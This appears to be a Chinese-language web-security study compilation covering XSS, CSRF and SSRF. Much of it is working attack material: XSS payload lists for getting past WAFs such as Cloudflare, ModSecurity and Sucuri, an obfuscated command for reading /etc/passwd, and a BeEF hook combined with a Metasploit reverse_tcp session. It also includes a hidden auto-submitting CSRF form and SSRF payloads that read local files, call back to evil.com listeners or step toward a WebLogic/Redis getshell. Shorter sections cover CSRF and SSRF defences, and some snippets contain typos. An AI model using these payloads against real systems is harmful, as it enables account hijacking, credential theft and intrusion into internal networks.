#bypass的payload #没有参数的jsp页面情况下,可以尝试使用分号添加路径参数 http://example.com/test.jsp;');alert(1)// & perform XSS #一种有效的XSS绕过技术是关闭结束标记: hhh<img src="#" onmouseenter="prompt('XSS')" gggg #测试购物网站时,订购商品(而不只是IDOR)后,请尝试使用订购ID参数中的XSS Payload。他们忘了在那 里过滤,因为它们本来就是数字;) #将bxss payloads注入appstore/play商店的应用程序评论中,公司经常使用第三方应用程序评论分析应用 程序。Payload可以在第三方应用程序上触发,从而使您可以访问一些敏感信息。 #使用javascript标签 /x:1/:///%01javascript:alert(document.cookie)/ #将输入框变成自动XSS,通过在“onfocus”属性上设置不可知的Payload,然后将其设置为“autofocus” <input onfocus="alert(0);" autofocus> #Payload作为文件扩展名。当扩展名反映在html中时。有时开发人员会验证文件名,而忘记验证扩展名 <svg onload=alert(1)> #多种payload混写 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed> </script><html \" onmouseover=/*<svg/*/onload=alert()//> #XSS Payload分成两个 <img src=x & LName: onerror=prompt(0);> #确定会话是存储在cookie还是本地存储中,然后将其放入弹出窗口中 cookie: alert(document.cookie) LocalStorage: alert(localStorage.getItem('access_token')) #遇到未验证的重定向问题,请不要只提交它,尝试触发反射性XSS javascript://%0aalert(1) javascript://%250aalert(1) in case of double encoding. #遇到注释页面,只需要在注释中打断一下就可以引起XSS --!><Svg/Onload=confirm(document.domain)> #使用".xss.ht"在Google上进行搜索,可以找到其他人正在测试的地方,甚至可以透露一些私有程序 #可以弹出XSS,但括号内()被过滤。这个是有效Payload,可以绕过该问题 "onfocus="alert`1`"autofocus=" #绕过过滤器 <!----><script>alert(0);</script> #常见'-alert-'和'; alert();'但是我通过fuzzing最新的Firefox找到了一些替代方案 '^alert()^' '*alert()*' '/alert()/' #服务器过滤了),绕过它 "-alert`1`," E.g window.location.replace("http://site.com/?x=3"); window.location.replace("http://site.com/?x=3"-alert`1`,") #程序将标签中的所有用户输入(例如:<h1>、<script>等)替换为空白,可以在结束标签前添加“换行符 (%0a)”以绕过(例如:<script% 0a>,</h1%0a>): <?php echo "You say " . preg_replace("/<(.*?)>/", "", Array['x']); ?> #XSS绕过检测,点射 ">'><details/open/ontoggle=confirm('XSS')> ⌝ 6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/ ⌝ "><img src=x onerror=confirm(1);> ⌝ #ModSecurity XSS 绕过 { 1 }; <img src=x:alert(alt) onerror=eval(src) alt='spyerror'> { 2 }; "></tag><svg onload=alert(spyerror)> #"Cloudflare" 绕过负载 ~1: <img longdesc="src='x'onerror=alert(document.domain);//><img " src='showme'> ~2: <img longdesc="src=" images="" stop.png"="" onerror="alert(document.domain);//"" src="x" alt="showme"> #Sucuri { RCE }; 有效载荷 Smuggling RCE Payloads: </> /???/??t+/???/??ss?? </> Obfuscating RCE Payloads: </> ;+cat+/e'tc/pass'wd </> </> c\\a\\t+/et\\c/pas\\swd </> #on事件被过滤 <iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cHM6Ly94c3MuaGFvemkubWUvai5qcz4="> </iframe> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> #执行js代码时关键字被拦截 <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"\> <script>top["al"+"ert"](`xss`);</script> <img src=x onerror="window['al'+'ert'](0)"></img> #ONLoad='a\u006c\u0065\u0072\u0074(1)'/\/\/\ #WAF Bypass - Byte Fallback <Svg%K9OnLoad=%7Krompt%6K1%6K>
反射型XSS是非持久性的、参数型的跨站脚本。反射型XSS的js代码在web应用的参数(变量)中,如搜索框的反射型XSS,提交的POC会获取到网页的代码中去。
存储型XSS是持久性跨站脚本。持久化体现在XSS代码不是在某个参数(变量)中,而是写入数据库或文件可以永久保存为数据的介质中。
存储型XSS通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。此时,我们只完成了第一步,将恶意代码写入数据库中。因为XSS使用的JS代码。JS代码的运行环境是浏览器。所以需要浏览器从服务器中载入恶意的XSS代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员身份,查看留言。也可以钓鱼用户等恶意操作。
DOM XSS比较特殊。owasp关于DOM型XSS的定义是基于DOM的XSS、是一种XSS攻击,其攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也就使得DOM XSS比较难以检测。
例:
#ssage=<script>alert(/xss/)</script>
#我们以锚点(#····)的方式提交POC。POC并不会发送到服务器,但是已经触发了XSS。
(不出现在网页源代码中,但会出现在本地浏览器中)
可以利用“< >"构造HTML标签和
使用javascript:伪协议的方式构造XSS(注:javascript:alert(/xss/) 仅在IE6以下网址栏)提交参数“< a href=“javascript:alert(‘xss’)”> touch me !" 然后点击超链接,即可触发XSS。
也可以使用img标签的伪协议,仅在IE6下测试成功。
<img src="javascript:alert('xss')">
概念
“事件驱动”是一种比较经典的编程思想,在网页中会发生很多事件(比如鼠标移动、键盘输入等),js可对这些事件进行响应。所以我们可以通过事件触发js函数,触发XSS。
事件类型
window 事件 #对window对象触发的事件
Form 事件 #HTML表单内的动作触发事件
keyboard #键盘按键触发的事件
mouse 事件 #鼠标事件
media 事件 #由多媒体触发的事件
示例
<img src='./smile.jpg' onmousover='alert(/xss/)'>
#这个标签会引入一个图片,然后鼠标悬停在图片的时候,会触发XSS代码
#单文本框的键盘点击事件
<input type="text" οnkeydοwn="alert(/xss/)“>
#当点击键盘任一个按键时候触发。
注意:onerror 错误触发事件
旧方法,现在一般不用。
利用css触发XSS,这种方法较古老,基本不适应现在主流的浏览器。(IE6下可用)
行内样式
<div style="background-imge:url(javascript:alert(xss))">
页内样式
<style>Body {background-imge:url(javas·····)}</style>
外部样式
<link rel="stylesheet" type="text/css" href="./xss.css"><div>·····
注意:详情见前面收集的xsspoc
示例:
<svg onload="alert(/xss/)">
<input onfocus=alert(/xss/) autofocus>
我们可以将payload进行大小写转化。如下面两个例子。
<Img sRc='#' Onerror="alert(/xss/)"/>
<a hREf="javaScript:alert(/xss/)">clik me</a>
注意:一般对HTML大小写转换,因为js对大小写敏感。
HTML语言对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
<img src="#" onerror="alert(/xss/)"/>
<img src='#' οnerrοr='alert(/xss/)"/>
<img src=# onerror=alert(/xss/)/>
<Img/sRc='#'/οnerrοr='alert(/xss/)'/>
我们可以在一些位置上添加Tab(水平制表符)和回车符,来绕过关键字的检测。
<A hREf="j #添加回车符
avascript(/xss/)">clik me!</a>
<Img/sRc='#'Onerror ='alert(/xss/)'/> #添加制表符(Tab键)
可以将字母·····转化为Ascll码、十六进制、十进制、base64、url编码等
十进制:a 十进制编码:a 十六进制编码:a
示例:
<A hREf="javascript:alert(/xss/)">click me!</a>
我们可以将 以 下字符插到任意位
Tab 	
换行符 

回车 
我们可以将以下字符插到头部位置
SOH 
STX 
示例:
<A hREf="javas	c r ipt:alert(/xss/)">click me!</a>
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
使用全角字符
**注意:**全角字符像中文字符一样占两个字节,英文字符多维=为半角字符为
width:expression(alret(/xss/))
注释会被浏览器忽略
width:expr/*~~~*/ession(alert(/xss/))
样式中的[\ ]和[\0]
<style>@import 'javasc\ri\0pt:alert("xss")';</style>
示例:
<scr<script>ipt> #一次过滤双写绕过
shellcode就是利用漏洞所执行的代码
完整的XSS攻击,会将shellode存放在一定的地方,然后触发漏洞,调用shellcode
可以将js代码单独放在一个js文件中,然后通过http协议加载该脚本。例如: 这是比较常用的方法,其中xss.js为“恶意js代码”
反射型、难检测
我们可以使用js中的windows.location.hash 方法获取浏览器URL地址栏的xss代码。
windows.location.hash会获取URL中’#'号后面的内容,例如http://······/index…php#AJEST,那么,windows.location.hash的值就是:#AJEST
我们可以构造如下代码:
示例:substr(1)截取#号后面字符直接提交到页面中
?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/xss/)
xss下载器就是将xss代码写到网页中(公网),然后通过AJAX技术,取得网页中的xss代码。
在使用XSS Download之前需要一个我们 自己的页面。
示例:
XSS_downloader.php,内容如下:
·····BOF|alert(xss)|BOF······
常见的下载器如下
示例:
<script>
function xss(){
if(windows.XMLHttpRequest){
a=new XMLHttpReequest();
}else if(windows.ActiveXobject){
a=new ActiveXobject("microsoft.XMLHTTP");
}else{return;}
a.open('get','http:172.0.0.1/normal/XSS_download.php',false);
a.send();
b=a.responseText; #将网页响应赋给变量b
eval(unescpe(b.substring(b.indexof('BOF|'+4,b.indexof('|EOF')))))
} #截取xss.download.php中xss代码
XSS(); #调用函数
</script>
AJAX技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端代码中添加如下内容:
<?php
header('Access-Control-Allow-origin:*');
header('Access-control-Allow-Headers:Origin,X-Requested-witd,Content-Type,Accept');?>
我们可以把shellcode存储在客户端的本地域名,比如HTTP Cookie、Flash共享对象、UserData、localstorage等。我们以HTTP Cookie为例。
注意:以上方法都需要一定条件
示例:cookie 中信息会显示到页面中:“欢迎 Tom" (用户名用cookie存)
将cookie中 value改为<script>alert(/xss/)</script>
XSS Filter的作用就是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。
输入过滤(适合SQL注入防御)
永远不要相信用户的输入“是网站开发的基本常识,对于用户输入一定要过滤、过滤、再过滤
输入验证
简单的说,输入验证就是对用户提交的信息进行有效验证,仅接受指定范围内的,采用适当格式的内容提交,阻止或者忽略除此以外的其他任何数据。
输入是否包含合法字符
输入字符是否超过最大长度限制
输入结果为数字,数字是否在指定的范围
输入是否符合特殊的格式要求,如e-mail地址、ip地址等
数据清洗
过滤和净化掉有害的输入
输出编码
HTML编码主要是用对应的HTML实体代替字符。
例如:
"<"、">" ====> &rt; 、 >
黑白名单(应用广泛)
不管是采用过滤,还是输出编码,都是针对数据进行黑、白名单式的过滤
避免客户端文档重写、重定向或其他敏感操作。
简介
XSS神器,XSS漏洞利用平台,kail自带。工具目录/usr/shart/beef-xss。配置文件:config.yaml (更改配置文件时最好提前备份)
使用
**注意:**启动前需要修改配置文件(不让使用beef默认用户名和密码)
beef-xss使用web管理控制台:http://127.0.0.1:3000/ui/panel
shellcode
http://127.0.0.1:3000/hook.js #只要访问就会在beef后台上线
测试页面
http://127.0.0.1:3000/demos/buther/index.html
在web应用上,通过xss漏洞,加载beef工具中shellcode,使服务器上线,服务器上线后,在beef工具中任意攻击(注意:beef中可执行行为从绿到红,越来越难执行)
即固定会话攻击,服务器上线后,获取cookie,进一步攻击
use exploit/windows/browser/ms10_002_aurora #使用这个模块
set payloaad windows/meterpreter/reverse_tcp #使用tcp协议
set SRVHOST [目标ip]
show options
set LHOST [本地ip] #设置本地ip
exploit/run #开始攻击
服务器上线后,在beef劫持浏览器访问 exploit 提示的url,本地与服务器建立会话
msf中
session -i #查看会话
session -i [会话id] #进入会话
getpid #查看当前进程
getuid #查看当前用户
migrate 1420(explorer.exe 资源管理器) #进入资源管理器(优先入侵进程)
跨站请求伪造(Cross-site request forgery,CSRF)是一种攻击,它强制终端用户在当前对其进行身份验证后的web应用程序上执行非本意的操作。
CSRF攻击的着重点在伪造更改状态的请求,而不是盗取数据,因为攻击者无法查看对伪造请求的响应。
借助工具的一些帮助(例如通过电子邮件或聊天发送链接),攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF攻击可以强制用户执行状态更改的请求,例如转移资金,更改其邮件地址等。如果受害者是管理账户,CSRF可能会危及整个web应用程序。
CSRF是一种欺骗受害者提交恶意请求的攻击。它继承了受害者的身份和特权,代表受害者执行非本意、恶意的操作。
对于大多数站点,浏览器请求自动发送与站点关联的所有凭据,例如用户的会话cookie、IP地址、windows域凭据等。因此,如果用户当前已对该站点进行了身份验证,则该站点将无法区分受害者发送的伪造请求和受害者发送的合法请求。
CSRF攻击目标是能够更改服务器状态或数据的业务或功能,例如更改受害者的电子邮件地址,密码或购买商品,强制受害者查询数据,对于攻击者来说没什么用,因为无法获得服务器响应。因此CSRF攻击针对引起状变化的请求。
有时候可以将CSRF攻击存储在易受攻击的站点上。这些漏洞被称为“存储的CSRF漏洞”。这可以通过简单地在接受HTML的字段中存储IMG或IFRAME标记,或通过更复杂的跨站脚本攻击来实现。如果攻击可以在站点中存储CSRF攻击,则攻击的严重性会被放大。特别是受到攻击的可能性增加,因为受害者比互联网上的某个随机页面更有可能查看包含攻击的页面。
搭建一个模拟银行网站,该模拟银行网站的核心业务是转账
我们以test用户的身份,在没有退出银行网站的情况下,访问一个极具诱惑性的网站。
当我们“通道一”(诱惑性网站触发CSRF机制),页面发生变化(未达到用户预期页面)。此时我们发现,账户中给hacker用户转了1000.
然而,test用户并没有意愿给hacker用户转账,这个操作完全是非本意的,而且请求在test不知不觉的情况下被发送。说明test用户已经遭受到了CSRF攻击。
我们发现在点击“通道一”的时候,发送了一条多余的链接
关键源码:
<img src='http://172.0.0.1/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93'
注意:上面src中包含被转账人用户及金额,而转账人信息保存在cookie中,因受害者未退出银行网站(攻击基础)
也就是说,该页面通过标签发送了一个get请求,这个get请求,正是用户发起的转账业务的请求
以上场景中是利用标签发送的get请求。那么是不是把关键操作使用POST请求,就能够防御CSRF漏洞了呢?答案是否定的。
即使转账操作使用了POST方法,攻击者也可以通过构造表单的方式来伪造请求,核心代码如下:
<form name='csrf' action='http://·····action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='1000'>
</form>
<script>document.csrf.submit()</script>
注意:此处可以利用js来自动提交隐藏的表单
示例:<a href='javascript:document.csrf.submit()'>
攻击者可以通过XSS来触发CSRF攻击。因为可以利用JS来发送请求。通过研究受害者网站的业务流程,攻击者可以构成如下代码(xss代码):
<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.open(\'post\',\'http://·····/cms/admin/user.action.php\',false);
xmlhttp.setRequestHeader("Content-type","application/x-www.form-urlencoded");
xmlhttp.send(\'act=add&username=test&passwd=·······\'); #在网站添加新用户test
</script>
我们将代码插入到网站留言板中,然后模拟网站管理员,登录后台,进行留言板管理,只要管理员刷新页面就会触发XSS代码,以管理员的身份发送一个请求,创建一个后台账户,同时网站后台管理员是一点“感觉”都没有。xss+csrf这种方式隐蔽性很好。
很多防御方式都没有办法解决CSRF的问题
使用加密的cookie
请记住,所有cookie,即使是加密的cookie,也会随着每一个请求一起提交。无论最终用户是否被欺骗提交请求,都将提交所有身份验证令牌。身份凭据。
仅接受POST请求
可以开发应用程序以仅接受用于执行业务逻辑的POST请求。误解是由于攻击者无法构造恶意连接,因此无法执行CSRF攻击。不幸的是,这种逻辑并不正确。有许多方法可以让攻击者欺骗受害者提交伪造的POST请求,例如在隐藏值的攻击者网站中托管的简单表单。此表单可以由JavaScript自动触发,也可以认为表单会执行其他操作的受者触发。
多步交易
多步交易不足以预防CSRF。只要攻击者可以预测或推断完整的事务的每个步骤就可以实现CSRF
URL重写
这可能被视为一种有用的CSRF预防技术,因为攻击者无法猜测受害者的会话id。但是用户的会话id会在url中公开。所以不建议。所以不建议通过引入另一个安全漏洞来修复一个安全漏洞。
HTTPS
HTTPS本身无法抵御CSRF。但是,HTTPS应被视为任何防御措施都值得信赖的先决条件。
根据HTTP协议,在HTTP头部中有一个字段叫Referer,他记录了该http请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自同一个网站。比如某个银行的转账是通过用户访问:http://127.0.0.1/bank/action.php?username=test&money=1000&·····来完成,用户必须先登录,并且访问http://127.0.0.1/bank/index.php ,然后通过点击页面上的按钮来触发转账事件。当用户提交请求时,该转账请求的Referer值就会是转账按钮所在页面的URL。而如果攻击者对银行网站实施CSRF攻击,他只能在自己的网站构造请求,当用户通过攻击者网站发送请求到银行时,该请求的Referer是指向攻击者的网站,因此,要防御CSRF攻击,银行网站只需要对于每一个转账的请求验证其Referer值,如果是以127.0.0.1的地址或域名,则说明该请求时来自银行网站自己的请求,是合法的。如果Referer值是其他网站的话,就有可能是CSRF攻击,则拒绝该请求。
CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的cookie来通过安全验证。由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于cookie中。鉴于此,系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token(随机字符串),并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。
二次验证,就是在转账等关键操作之前提供当前用户的密码或者验证码。二次验证可以有效防御CSRF攻击。
用户养成良好的上网习惯,能很大程度上减少CSRF攻击的危害。例如,用户上网时,不要轻易点击网络论坛、聊天室、即时通讯工具或电子邮件中出现的链接或者图片;及时退出长时间不用的已登录账户,尤其是系统管理员。此外还可以在连接互联网的计算机中安装合适的防护软件并及时更新特征库,保护安全软件对最新攻击的实时跟踪。
互联网上的很多web应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,web应用可以获取图片、文件资源(下载或读取)。如下所示,百度提供识图功能。用户可以从本地或者URL的方式获取图片资源,交给百度识图处理。如果提交的是URL地址,该应用就会通过URL的方式获取图片资源,交给百度识图处理。如果web应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造的缺陷”,请求伪造,顾名思义就是攻击者伪造正常的请求,以达到攻击的目的,是常见的web安全漏洞之一。如果“请求伪造”发生在服务器端,那么这个漏洞就叫做“服务器端请求伪造”,英文名:Server-side Request Forgery ,简称SSRF
SSRF是一种攻击者发起的伪造由服务端发起的请求的一种攻击,也是常见的web安全漏洞之一。
利用点:
以php为例
在服务端实现通过URL从服务器(外部或内部)获取资源功能的方法有很多,此外使用php语言和curl拓展实现该功能。
通过phpinfo()函数查看对curl拓展的支持,现在大部分wamp套件均支持curl拓展。(CURL support:enabled 表示开启)
服务端代码如下:
<?php if(isset($_REQUEST['url'])){ $link=$_REQUEST['url']; $filename='./curled/'.time().'.txt'; #创建文件 $curlobj=curl_innit($link); #创建curl对象 $fp=fopen($filename,"w"); #写方式打开文件 #设置curl curl_setopt($curlobj,CURLOPT_FILE,$fp); curl_setopt($curlobj,CURLOPT_HEADER,0); curl_setopt($curlobj,CURLOPT_FOLLOWLOCATION,TRUE); curl_close($fp); #关闭curl fclose($fp); #关闭文件 $fp=fopen($filename,"r"); #读方式打开保存内容文件 $result=fread($fp,filesize($filename)); #读取内容文件 fclose($fp); #关闭文件 echo $result; #输出文件 }else{ echo "?url=[url]"; } ?>
将以上代码保存成文件“ssrf_curl.php",该段代码实现了从服务器获取资源的基本功能。提交:?curl=http://www.baidu.com 页面会载入百度首页的资源。
同时获取的资源文件会保存在./curled中,并以发起请求时间的unix时间戳命名。
SSRF攻击可能存在任何语言编写的应用,下面举例php中可能存在SSRF漏洞的函数。
file_get_contents()
下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
sockopen()
以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
<?php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ?>
curl_exec()
cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。
<?php if (isset($_POST['url'])) { $link = $_POST['url']; $curlobj = curl_init(); curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($curlobj); curl_close($curlobj); $filename = './curled/'.rand().'.txt'; file_put_contents($filename, $result); echo $result; } ?>
注意事项
一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转
file_get_contents支持php://input协议
php中:
file dict sftp ldap tftp gopher
java中:
file ftp mailto http https jar netdoc
使用格式
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
示例
1、file
这种URL Schema可以尝试从文件系统中获取文件:
http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:
2、dict
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
3、sftp
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
4、ldap://或ldaps:// 或ldapi://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
5、tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
6、gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header(‘Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest’);?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。.
6.各个协议调用探针:http,file,dict,ftp,gopher等
http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
示例:?url=http://www.baidu.com/robots.txt
**注意:**dict为字典协议
当访问未开放端口,脚本会显示空白或者报错。
示例:?url=dict://127.0.0.1:1234
但访问开放端口时,脚本会显示banner信息
示例:?url=dict:127.0.0.1:22
结果:SSH-2…0—OpenSSH_5.3
注意:扫描可以扫到内网机器,因为扫描请求从服务器中发出,服务器处于内网中。
利用file协议可以任意读取系统本地文件,提交参数。
示例:?url=file://c:\windows\system32\drivers\etc\hosts
识别内网应用使用的框架、平台、模块以及cms,可以为后续的渗透测试提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型。甚至详细版本。根据这些信息就可以针对性的搜集漏洞进行攻击。
比如可以通过访问下列文件来判断phpmyadmin是否安装以及详细版本。示例:?url=http://localhost/phpmyadmin/README
注意:可配置其外网不可访问
内网的安全通常都很薄弱,溢出、弱口令等一般都存在的。通过SSRF攻击,可以实现对内网的访问,从而可以攻击内网应用或者本地机器,获得shell,这里的应用包括服务、web应用等。
仅仅通过get方法可以攻击的web服务应用有很多,比如struts2命令执行等。
部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击,需要对请求的参数地址做相关的绕过处理,常见的绕过方式如下:
可以尝试采用http基本身份认证的方式绕过
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
采用短网址绕过
比如百度短地址https://dwz.cn/
采用进制转换
127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.
利用特殊域名
原理是DNS解析。**xip.io**可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
(xip.io 现在好像用不了了,可以找找其他的)
利用[::]
可以利用[::]来绕过localhost
http://169.254.169.254>>http://[::169.254.169.254]
利用句号
127。0。0。1 >>> 127.0.0.1
CRLF 编码绕过
%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入
示例:example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
利用封闭的字母数字
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://169.254.169.254>>>http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
> 采用http基本身份认证的方式绕过,即@
> http://www.xxx.com@www.xxc.com
限制请求IP不为内网地址
当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
限制请求只为http协议
(1)采取302跳转
(2)采取短地址
过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
限制请求的端口为http常用的端口,比如,80,443,8080,8090。
黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
仅允许http和https请求(dict、gopher协议不允许)
避免应用被用来获取内网数据,攻击内网。
限制请求为http常用端口,比如80,443,8080,8090······
验证远程服务器对请求的响应是比较简单的方法
避免用户可以根据错误的信息判断服务器的端口状态。
对外发起网络请求的地方都有可能存在SSRF漏洞,列举图片加载下载,分享页面,在线翻译、为公开的api(从远程服务器请求资源文件处理——编码处理、属性信息处理等)
**案例:**weblogic SSRF到getshell
weblogic中存在一个漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱性组件。此处我们以vulhub中的一个环境复现这个过程。
readis未授权访问到getshell。注意:redis未授权访问即不需要用户名和密码就可以访问数据库(严重的可以读写文件)具有root权限
进入本地搭建好的vulhub靶场对应的漏洞目录
启动漏洞dock环境:docker-compose up -d
补充dock命令:docker ps #查看开启的docker镜像
docker exec -it [docker镜像id] “/bin/bash” #登录到docker镜像中国
进入镜像到/etc/crontab (计划任务文件) #备份这个文件 cp crontab crontab.bak
访问weblogic : (地址) http://ip:7001 #为其管理页面,说明已启动
漏洞地址:http://ip:7001/uddjexplorer/
在漏洞页面“search"任意内容,抓到数据包
更改数据包中的URL发现,url报错不同,可以做内网探测
